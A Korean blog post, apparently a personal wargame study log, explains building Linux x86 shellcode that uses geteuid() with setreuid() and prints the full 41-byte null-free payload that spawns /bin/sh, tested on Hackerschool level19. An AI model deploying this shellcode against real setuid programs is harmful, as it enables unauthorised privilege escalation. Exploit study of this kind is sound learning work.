본문 바로가기

My Study/Exploit

geteuid()를 사용한 쉘코드 만들기

예전에 써왔던 쉘코드들은 그 때 그 때 새로 만들어주어야만 하는 쉘코드를 썼습니다.
예를 들어서 id가 2008인 사용자가 setuid걸린 프로그램을 하나 만들었을 때
그 프로그램을 통해 쉘코드에는 setreuid(2008,2008) 이런식으로 만들어주어야 했습니다.

하지만 이번에는 setreuid 함수 인자로 상수값대신 geteuid 함수를 사용함으로써 
setuid를 건 사용자의 id값을 그때그때 리턴하도록 하는 쉘코드를 만들어보겠습니다.

먼저 C코드로 짜보았습니다.

달라진 거라곤 setreuid 함수의 인자만 달라졌을 뿐입니다. 이제 저 코드를 가지고 쉘코드를 만들면 됩니다.

쉘코드 만드는 방법에 대해서는 두번이나 포스팅을 했기 때문에 자세한 과정은 생략하겠습니다.

gdb로 열어서 어떻게 구성을 해야할지 정보를 모아보았습니다.

이제 위 정보를 토대로 어셈코드로 만들어보겠습니다.


0x00을 아직 신경쓰지 않고 작성한 어셈코드 입니다.

objdump로 봐보게 되면 아주 많은 0x00값이 있는 것을 보실 수 있습니다.


이제 0x00을 없앤 어셈 코드를 보시겠습니다.

0x00을 전부 없앴습니다. 이제 위 코드를 쉘코드 형태로 쭉 써보겠습니다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
위와 같은 형태의 값이 나옵니다. 총 41Byte입니다. 크기는 별 신경 안쓴거같아 큰거 같군요.

잘 실행 되는지 보겠습니다.

간결하게 테스트하는 코드를 짜주시고..


테스트를 해보니 잘 되는군요.

여기서 끝내면 뭐하니.. 역시나 해커스쿨 level19번을 이 쉘코드를 가지고 풀어보겠습니다.
그냥 에그쉘 사용해서 해버리겠습니다. 목적은 쉘코드의 기능이 제대로 작동하는지 보기 위함이니까요.

잘 작동하고 있습니다.

앞으로 이 쉘코드를 사용해보도록 해야겠군요..